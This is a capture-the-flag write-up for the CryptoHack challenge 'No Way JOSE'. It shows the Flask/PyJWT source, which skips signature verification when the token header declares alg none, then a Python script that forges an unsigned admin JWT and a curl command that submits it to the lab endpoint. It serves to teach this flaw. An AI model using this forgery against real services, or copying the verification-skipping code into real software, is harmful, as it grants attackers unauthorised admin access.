No Way JOSE
No Way JOSE
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: jwt_alg_none_bypass, cryptographic_doom_principle, jwt_forgery
Summary
Walkthrough of the CUSTOM Web No Way JOSE. Task: a Flask/PyJWT service authorises sessions by reading the alg field from the attacker-controlled JOSE header before verifying the token signature. Solution: forge a JWT with header alg=none, payl
Description
This challenge is about JWT (JSON Web Token) algorithms. The JOSE header (the first JWT segment) declares the
algused to verify the token, e.g.{"typ":"JWT","alg":"HS256"}. The server must process this untrusted header BEFORE it can verify token integrity — the "REDACTED Doom Principle". Bypass the authorisation and recover the FLAG.
Platform URL: https://web.cryptohack.org/no-way-jose
English summary: A Flask web service issues JWTs for usernames (with
admin: false) and exposes an /authorise/<token>/ endpoint that grants the
flag if the decoded token contains admin: true. The endpoint reads the alg
field straight from the untrusted JOSE header and routes to a code path that
disables signature verification when alg == "none". Goal: forge an admin
token without knowing SECRET_KEY.
Source Code
python read-only • copy allowedimport base64 import json import jwt # PyJWT module SECRET_KEY = ? FLAG = ? @chal.route('/no-way-jose/authorise/<token>/') def authorise(token): token_b64 = token.replace('-', '+').replace('_', '/') # JWTs use base64url encoding try: header = json.loads(base64.b64decode(token_b64.split('.')[0] + "===")) except Exception as e: return {"error": str(e)} if "alg" in header: algorithm = header["alg"] else: return {"error": "There is no algorithm key in the header"} if algorithm == "HS256": try: decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256']) except Exception as e: return {"error": str(e)} elif algorithm == "none": try: decoded = jwt.decode(token, algorithms=["none"], options={"verify_signature": False}) except Exception as e: return {"error": str(e)} else: return {"error": "Cannot decode token"} if "admin" in decoded and decoded["admin"]: return {"response": f"Welcome admin, here is your flag: {FLAG}"} elif "username" in decoded: return {"response": f"Welcome {decoded['username']}"} else: return {"error": "There is something wrong with your session, goodbye"} @chal.route('/no-way-jose/create_session/<username>/') def create_session(username): encoded = jwt.encode({'username': username, 'admin': False}, SECRET_KEY, algorithm='HS256') return {"session": encoded}
Analysis
The vulnerability is a textbook JWT alg:none authorization bypass, an
illustration of Moxie Marlinspike's Cryptographic Doom Principle: "if you
have to perform any cryptographic operation before verifying the MAC on a
message you've received, it will somehow inevitably lead to doom."
The authorise endpoint:
- base64-decodes and
json.loads-parses the first JWT segment — the JOSE header — which is fully attacker-controlled, since it carries no integrity protection on its own. - Branches on
header["alg"]before any signature verification. - For
alg == "none"it callsjwt.decode(token, algorithms=["none"], options={"verify_signature": False}), which accepts the token's claims without verifying any signature.
Because the server trusts the untrusted header to pick the verification path,
an attacker simply declares alg: none, supplies whatever claims they want
(admin: true), and skips signing entirely. SECRET_KEY is never needed.
This emulates the historic real-world JWT library flaw where the none
algorithm — intended for already-integrity-protected transports — was honored
during verification, letting anyone strip the signature.
Solution
A JWT is three base64url segments joined by dots:
header.payload.signature. For an alg:none token the signature segment is
empty, but the trailing dot is mandatory — PyJWT requires three
dot-separated parts even when the signature is empty.
Step 1 — Forge the token
python read-only • copy allowed#!/usr/bin/env python3 import base64, json def b64(d): return base64.urlsafe_b64encode(d).rstrip(b'=').decode() header = b64(json.dumps({'typ': 'JWT', 'alg': 'none'}).encode()) payload = b64(json.dumps({'username': 'admin', 'admin': True}).encode()) token = header + '.' + payload + '.' # trailing dot = empty signature print(token)
Resulting token:
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJhZG1pbiI6IHRydWV9.
- Header decodes to
{"typ": "JWT", "alg": "none"}→ routes to thenonebranch. - Payload decodes to
{"username": "admin", "admin": true}→ satisfies thedecoded["admin"]check.
Step 2 — Submit to the authorise endpoint
bash read-only • copy allowedcurl -s "https://web.cryptohack.org/no-way-jose/authorise/eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJhZG1pbiI6IHRydWV9./"
Step 3 — Server response
json read-only • copy allowed{"response":"Welcome admin, here is your flag: crypto{REDACTED}"}
Solved on the first attempt — no brute force, no key recovery.
Key Takeaways / Lessons
- Mastering jwt_alg_none_bypass, cryptographic_doom_principle, jwt_forgery was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-21 • CUSTOM • No Way JOSE • Difficulty: Easy